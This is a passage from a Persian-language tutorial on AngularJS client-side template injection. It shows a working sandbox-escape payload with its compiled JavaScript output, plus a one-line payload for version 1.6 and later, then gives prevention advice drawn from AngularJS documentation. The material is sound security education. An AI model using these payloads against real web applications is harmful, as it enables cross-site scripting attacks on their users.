استفاده کنیم. تابع lex، این بار هم، ورود ما را به عنوان یک Identity در نظر می گیرد و باعث می شود، تمام ورود ما به عنوان یک تکه کد جاوا اسکریپت، در کد نهایی کامپایلر ظاهر شود. می توانیم این موضوع را با وارد کردن مقداری آزمایشی بررسی کنیم: {{x='a'.constructor.prototype;x.charAt='b'.concat;$eval('x=alert(1)');}}
پس از وارد کردن مقدار بالا، کامپایلر AngularJS دوبار فراخوانی می شود. دفعه اول کدی ایجاد می کند که چندان برای ما مهم نیست. اما بار دوم که توسط تابع $eval
فراخوانی می شود کد زیر را تولید می کند. همان طور که می بنید آرگومان $eval
، تماما درون کد نهایی ظاهر شده است:
[javascript]
‘use strict’;
var fn = function (s, l, a, i) {
var v5,
v6 = l && (‘x=alert(1)’ in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function (s, v, l) {
var v0,
v1,
v2,
v3,
v4 = l && (‘x=alert(1)’ in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
ensureSafeAssignContext(v3, text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
[/javascript]
و این یعنی ما بار دیگر توانستیم از Sandbox فریمورک AngularJS فرار کنیم و به Javascript Execution برسیم.
پیشگیری از این آسیب پذیری ها
همان طور که گفتیم، از نسخه 1.6 به بعد، سندباکس AngularJS به طور کامل حذف شد. علت این کار، بی اثر بودن آن عنوان شده است. یعنی از نسخه 1.6 به بعد، اگر آسیب پذیری CSTI وجود داشته باشد، می توان با Payload زیر، از سمت کاربر Javascript Execution گرفت:
[javascript]
constructor.constructor("alert(1)")()
[/javascript]
پس یک توسعه دهنده، از همان ابتدا باید به گونه ای برنامه نویسی کند که اصلا CSTI به وجود نیاید. خود سایت AngularJS اینطور توضیح می دهد:
It’s best to design your application in such a way that users cannot change client-side templates.
و در ادامه ای جمله، موارد زیر را ذکر می کند:
نکات حفاظت در برابر XSS در AngularJS
- قالب های سمت-کلاینت را با سمت-سرور قاطی نکنید!
- از ورودی کاربر برای ایجاد قالب به صورت متغیر استفاده نکنید!
- محتوای کاربر (userContent) را در موارد خطرناک زیر استفاده نکنید:
$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
$compile(userContent)
$parse(userContent)
$interpolate(userContent)
{{ value | orderBy : userContent }}
- از CSP استفاده کنید. (البته این مکانیزم کافی نیست و نباید به آن اکتفا کنید)
یک سری موارد دیگر نیز در سایت AngularJS گفته شده است که من به دلیل تفاوت موضوع آن ها در اینجا ذکر نکرده ام. اگر به مطالعه بیشتر در مورد نکات امنیتی AngularJS علاقه مند هستید، به این لینک مراجعه کنید.
منابع
این مطلب نتیجه مطالعات تیم تحقیقاتی Unk9vvN در مورد تحقیقات موجود در زمینه امنیت سایبری وب است. در این مطلب از نتیجه تحقیقات محققانی چون Ian Hickey، Gareth Heyes و Mario Heiderich استفاده شده است. قطعا هدف این مطلب تنها ترجمه مطالب موجود نبوده است. پس تمام مفاهیم، که از چندین مطلب گرد آوری شده اند، با برداشتی نو نگاشته شده اند تا به بهترین شکل قابل درک باشند. باشد که این نوع مطالب، منبعی مناسب برای مطالعات فارسی زبانان در این حوزه باشد.